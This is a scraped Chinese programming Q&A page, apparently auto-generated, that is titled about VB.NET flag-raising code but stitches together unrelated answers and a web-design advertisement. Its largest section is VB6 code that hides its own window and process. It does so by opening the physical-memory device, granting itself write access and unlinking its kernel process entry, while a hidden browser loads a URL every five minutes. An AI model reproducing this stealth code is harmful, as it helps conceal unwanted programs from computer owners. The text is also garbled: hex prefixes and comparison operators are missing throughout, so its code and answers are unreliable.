用vb.net升国旗代码的简单介绍

问一个VB的简单的代码,请回答~谢谢

'需添加部件“工程》部件》Microsoft Internet Controls

创新互联专注于义乌网站建设服务及定制，我们拥有丰富的企业做网站经验。 热诚为您提供义乌营销型网站建设，义乌网站制作、义乌网页设计、义乌网站官网定制、微信小程序定制开发服务，打造义乌网络公司原创品牌,更为您提供义乌网站排名全网营销落地服务。

'添加一个"WebBrowser"和一个"Timer"

Private Sub Form_Load()

App.Title = "" '这样可以很方便地将程序从任务管理器的应用程序界面隐藏

Call HideCurrentProcess '隐藏进程

Hide '隐藏窗口

Timer1.Interval = 60000 '定义时间间隔1分钟...

Timer1.Enabled = True

End Sub

Private Sub Timer1_Timer()

Static a As Integer

a = a + 1

If a = 5 Then WebBrowser1.Navigate "": a = 0 '每5分钟执行一次，只需修改引号内网址就行。

End Sub

'添加模块

'下边为隐藏进程的模块：

'-------------------------------------------------------------------------------------

'模块名称：modHideProcess.bas

'

'模块功能：在 XP/2K 任务管理器的进程列表中隐藏当前进程

'

'使用方法：直接调用 HideCurrentProcess()

'

'模块作者：检索自互联网，原作者不详。

'

'修改日期：2006/08/26

'---------------------------------------------------------------------------------------

Option Explicit

Private Const STATUS_INFO_LENGTH_MISMATCH = HC0000004

Private Const STATUS_ACCESS_DENIED = HC0000022

Private Const STATUS_INVALID_HandLE = HC0000008

Private Const ERROR_SUCCESS = 0

Private Const SECTION_MAP_WRITE = H2

Private Const SECTION_MAP_READ = H4

Private Const READ_CONTROL = H20000

Private Const WRITE_DAC = H40000

Private Const NO_INHERITANCE = 0

Private Const DACL_SECURITY_INFORMATION = H4

Private Type IO_STATUS_BLOCK

Status As Long

Information As Long

End Type

Private Type UNICODE_STRING

Length As Integer

MaximumLength As Integer

Buffer As Long

End Type

Private Const OBJ_INHERIT = H2

Private Const OBJ_PERMANENT = H10

Private Const OBJ_EXCLUSIVE = H20

Private Const OBJ_CASE_INSENSITIVE = H40

Private Const OBJ_OPENIF = H80

Private Const OBJ_OPENLINK = H100

Private Const OBJ_KERNEL_HandLE = H200

Private Const OBJ_VALID_ATTRIBUTES = H3F2

Private Type OBJECT_ATTRIBUTES

Length As Long

RootDirectory As Long

ObjectName As Long

Attributes As Long

SecurityDeor As Long

SecurityQualityOfService As Long

End Type

Private Type ACL

AclRevision As Byte

Sbz1 As Byte

AclSize As Integer

AceCount As Integer

Sbz2 As Integer

End Type

Private Enum ACCESS_MODE

NOT_USED_ACCESS

GRANT_ACCESS

SET_ACCESS

DENY_ACCESS

REVOKE_ACCESS

SET_AUDIT_SUCCESS

SET_AUDIT_FAILURE

End Enum

Private Enum MULTIPLE_TRUSTEE_OPERATION

NO_MULTIPLE_TRUSTEE

TRUSTEE_IS_IMPERSONATE

End Enum

Private Enum TRUSTEE_FORM

TRUSTEE_IS_SID

TRUSTEE_IS_NAME

End Enum

Private Enum TRUSTEE_TYPE

TRUSTEE_IS_UNKNOWN

TRUSTEE_IS_USER

TRUSTEE_IS_GROUP

End Enum

Private Type TRUSTEE

pMultipleTrustee As Long

MultipleTrusteeOperation As MULTIPLE_TRUSTEE_OPERATION

TrusteeForm As TRUSTEE_FORM

TrusteeType As TRUSTEE_TYPE

ptstrName As String

End Type

Private Type EXPLICIT_ACCESS

grfAccessPermissions As Long

grfAccessMode As ACCESS_MODE

grfInheritance As Long

TRUSTEE As TRUSTEE

End Type

Private Type AceArray

List() As EXPLICIT_ACCESS

End Type

Private Enum SE_OBJECT_TYPE

SE_UNKNOWN_OBJECT_TYPE = 0

SE_FILE_OBJECT

SE_SERVICE

SE_PRINTER

SE_REGISTRY_KEY

SE_LMSHARE

SE_KERNEL_OBJECT

SE_WINDOW_OBJECT

SE_DS_OBJECT

SE_DS_OBJECT_ALL

SE_PROVIDER_DEFINED_OBJECT

SE_WMIGUID_OBJECT

End Enum

Private Declare Function SetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, _

ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As _

Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any) As Long

Private Declare Function GetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, _

ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As _

Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any, ppSecurityDeor As Long) As _

Long

Private Declare Function SetEntriesInAcl Lib "advapi32.dll" Alias _

"SetEntriesInAclA" (ByVal cCountOfExplicitEntries As Long, pListOfExplicitEntries _

As EXPLICIT_ACCESS, ByVal OldAcl As Long, NewAcl As Long) As Long

Private Declare Sub BuildExplicitAccessWithName Lib "advapi32.dll" Alias _

"BuildExplicitAccessWithNameA" (pExplicitAccess As EXPLICIT_ACCESS, ByVal _

pTrusteeName As String, ByVal AccessPermissions As Long, ByVal AccessMode As _

ACCESS_MODE, ByVal Inheritance As Long)

Private Declare Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString As _

UNICODE_STRING, ByVal SourceString As Long)

Private Declare Function ZwOpenSection Lib "NTDLL.DLL" (SectionHandle As Long, _

ByVal DesiredAccess As Long, ObjectAttributes As Any) As Long

Private Declare Function LocalFree Lib "kernel32" (ByVal hMem As Any) As Long

Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As _

Long

Private Declare Function MapViewOfFile Lib "kernel32" (ByVal hFileMappingObject As _

Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal _

dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As Long

Private Declare Function UnmapViewOfFile Lib "kernel32" (lpBaseAddress As Any) As _

Long

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination _

As Any, Source As Any, ByVal Length As Long)

Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" _

(LpVersionInformation As OSVERSIONINFO) As Long

Private Type OSVERSIONINFO

dwOSVersionInfoSize As Long

dwMajorVersion As Long

dwMinorVersion As Long

dwBuildNumber As Long

dwPlatformId As Long

szCSDVersion As String * 128

End Type

Private verinfo As OSVERSIONINFO

Private g_hNtDLL As Long

Private g_pMapPhysicalMemory As Long

Private g_hMPM As Long

Private aByte(3) As Byte

Public Sub HideCurrentProcess()

'在进程列表中隐藏当前应用程序进程

Dim thread As Long, process As Long, fw As Long, bw As Long

Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Long

verinfo.dwOSVersionInfoSize = Len(verinfo)

If (GetVersionEx(verinfo)) 0 Then

If verinfo.dwPlatformId = 2 Then

If verinfo.dwMajorVersion = 5 Then

Select Case verinfo.dwMinorVersion

Case 0

lOffsetFlink = HA0

lOffsetBlink = HA4

lOffsetPID = H9C

Case 1

lOffsetFlink = H88

lOffsetBlink = H8C

lOffsetPID = H84

End Select

End If

End If

End If

If OpenPhysicalMemory 0 Then

thread = GetData(HFFDFF124)

process = GetData(thread + H44)

fw = GetData(process + lOffsetFlink)

bw = GetData(process + lOffsetBlink)

SetData fw + 4, bw

SetData bw, fw

CloseHandle g_hMPM

End If

End Sub

Private Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long)

Dim pDacl As Long

Dim pNewDacl As Long

Dim pSD As Long

Dim dwRes As Long

Dim ea As EXPLICIT_ACCESS

GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, _

pDacl, 0, pSD

ea.grfAccessPermissions = SECTION_MAP_WRITE

ea.grfAccessMode = GRANT_ACCESS

ea.grfInheritance = NO_INHERITANCE

ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME

ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER

ea.TRUSTEE.ptstrName = "CURRENT_USER" vbNullChar

SetEntriesInAcl 1, ea, pDacl, pNewDacl

SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, _

ByVal pNewDacl, 0

CleanUp:

LocalFree pSD

LocalFree pNewDacl

End Sub

Private Function OpenPhysicalMemory() As Long

Dim Status As Long

Dim PhysmemString As UNICODE_STRING

Dim Attributes As OBJECT_ATTRIBUTES

RtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory")

Attributes.Length = Len(Attributes)

Attributes.RootDirectory = 0

Attributes.ObjectName = VarPtr(PhysmemString)

Attributes.Attributes = 0

Attributes.SecurityDeor = 0

Attributes.SecurityQualityOfService = 0

Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, _

Attributes)

If Status = STATUS_ACCESS_DENIED Then

Status = ZwOpenSection(g_hMPM, READ_CONTROL Or WRITE_DAC, Attributes)

SetPhyscialMemorySectionCanBeWrited g_hMPM

CloseHandle g_hMPM

Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, _

Attributes)

End If

Dim lDirectoty As Long

verinfo.dwOSVersionInfoSize = Len(verinfo)

If (GetVersionEx(verinfo)) 0 Then

If verinfo.dwPlatformId = 2 Then

If verinfo.dwMajorVersion = 5 Then

Select Case verinfo.dwMinorVersion

Case 0

lDirectoty = H30000

Case 1

lDirectoty = H39000

End Select

End If

End If

End If

If Status = 0 Then

g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, H1000)

If g_pMapPhysicalMemory 0 Then OpenPhysicalMemory = g_hMPM

End If

End Function

Private Function LinearToPhys(BaseAddress As Long, addr As Long) As Long

Dim VAddr As Long, PGDE As Long, PTE As Long, PAddr As Long

Dim lTemp As Long

VAddr = addr

CopyMemory aByte(0), VAddr, 4

lTemp = Fix(ByteArrToLong(aByte) / (2 ^ 22))

PGDE = BaseAddress + lTemp * 4

CopyMemory PGDE, ByVal PGDE, 4

If (PGDE And 1) 0 Then

lTemp = PGDE And H80

If lTemp 0 Then

PAddr = (PGDE And HFFC00000) + (VAddr And H3FFFFF)

Else

PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE And HFFFFF000, H1000)

lTemp = (VAddr And H3FF000) / (2 ^ 12)

PTE = PGDE + lTemp * 4

CopyMemory PTE, ByVal PTE, 4

If (PTE And 1) 0 Then

PAddr = (PTE And HFFFFF000) + (VAddr And HFFF)

UnmapViewOfFile PGDE

End If

End If

End If

LinearToPhys = PAddr

End Function

Private Function GetData(addr As Long) As Long

Dim phys As Long, tmp As Long, ret As Long

phys = LinearToPhys(g_pMapPhysicalMemory, addr)

tmp = MapViewOfFile(g_hMPM, 4, 0, phys And HFFFFF000, H1000)

If tmp 0 Then

ret = tmp + ((phys And HFFF) / (2 ^ 2)) * 4

CopyMemory ret, ByVal ret, 4

UnmapViewOfFile tmp

GetData = ret

End If

End Function

Private Function SetData(ByVal addr As Long, ByVal data As Long) As Boolean

Dim phys As Long, tmp As Long, x As Long

phys = LinearToPhys(g_pMapPhysicalMemory, addr)

tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys And HFFFFF000, H1000)

If tmp 0 Then

x = tmp + ((phys And HFFF) / (2 ^ 2)) * 4

CopyMemory ByVal x, data, 4

UnmapViewOfFile tmp

SetData = True

End If

End Function

Private Function ByteArrToLong(inByte() As Byte) As Double

Dim I As Integer

For I = 0 To 3

ByteArrToLong = ByteArrToLong + inByte(I) * (H100 ^ I)

Next I

End Function

*************************

不懂给我留言

用VB.NET程序编写代码

Delphi代码如下：

procedure TForm1.Button1Click(Sender: TObject);

var

购物总价:Integer;

折扣:Extended;

begin

购物总价:=StrToInt(Edit1.Text);

if 购物总价250 then

begin

折扣:=0;

end

else if 购物总价500 then

begin

折扣:=0.05;

end

else if 购物总价1000 then

begin

折扣:=0.075;

end

else if 购物总价2000 then

begin

折扣:=0.1;

end

{

此段的折扣是多少？

else if 购物总价3000 then

begin

折扣:=0.05;

end

}

else if 购物总价=3000 then

begin

折扣:=0.15;

end;

ShowMessage('您享受的折扣是：'+FloatToStr(折扣)

+' 原价：'+IntToStr(购物总价)

+' 折后总价：'+FloatToStr(购物总价*(1-折扣)));

end;

为了使计时器控件Timer1每隔1秒触发一次Timer事件，应将Timer1控件的______属性设置为_______。

Timer1——Interval=500

vb的问题，我用的mscomm控件，需要用一个timer控件，间隔时间1s，在timer控件中循环执行下面代码六次。

循环执行六次然后cpu就特别高，达到100%了，这是为什么呢?

我查看了循环执行六次程序代码：

Dim inbyte8() As Byte

Dim yanzheng12 As String

Dim com(7) As Byte

com(0) = 136

com(1) = com(0)

com(2) = 82

com(3) = 1

com(4) = 0

com(5) = 0

com(6) = 90

com(7) = 1

MSComm1.CommPort = 1

MSComm1.PortOpen = True

MSComm1.Settings = "4800,n,8,2"

MSComm1.InputMode

comInputModeBinary

MSComm1.Output = com

Dim t As Single

t = Timer

While Timer t + 0.2

DoEvents

Wend

inbyte8 = Form1.MSComm1.Input

yanzheng12 = inbyte8

最后我将下列：

MSComm1.CommPort = 1

MSComm1.PortOpen = True

MSComm1.Settings = "4800,n,8,2"

MSComm1.InputMode

comInputModeBinary

这些移到form_load()

里面去再测试了下，问题解决。

扩展资料：

先看一段代码：

Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick

Me.Timer1.Enabled = False

MessageBox.Show("测试")

End Sub

对于VB.NET初学者，一般会认为在执行“ Me.Timer1.Enabled = False”语句后，Timer1_Tick过程就会中断并跳出Sub，之后不会弹出"测试"对话框，这其实是错误的，本段代码会弹出"测试"对话框。

步骤1中的代码只是对这一问题进行的最简单的说明，当Timer1_Tick过程代码有多行时，特别是逻辑关系比较复杂时，一定要注意这一点，以防止出现逻辑错误。步骤1中的代码如果不想弹出"测试"对话框，可以将代码修改为如下所示：

Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick

Me.Timer1.Enabled = False

Exit Sub

MessageBox.Show("测试")

End Sub

上述就是VB.NET中Timer控件使用过程容易出错的地方之一。

跪求vb.net代码

新建窗口，添加picture控件

利用line()方法画线

line(开始x坐标,开始y坐标)-(结束x坐标,结束y坐标),线的颜色，画线的方式(默认为线，B为矩形无填充，BF为填充的矩形)

For i = 1 To 16

Picture1.Line (0, Picture1.Height / 2)-(i * (Picture1.Width / 16), 0), RGB(255, 0, 0)

Picture1.Line (0, Picture1.Height / 2)-(i * (Picture1.Width / 16), Picture1.Height), RGB(255, 0, 0)

Picture1.Line (Picture1.Width, Picture1.Height / 2)-(i * (Picture1.Width / 16), 0), RGB(0, 255, 0)

Picture1.Line (Picture1.Width, Picture1.Height / 2)-(i * (Picture1.Width / 16), Picture1.Height), RGB(0, 255, 0)

Next i

如果要在窗口上画也可以调用窗口的line方法即form.line()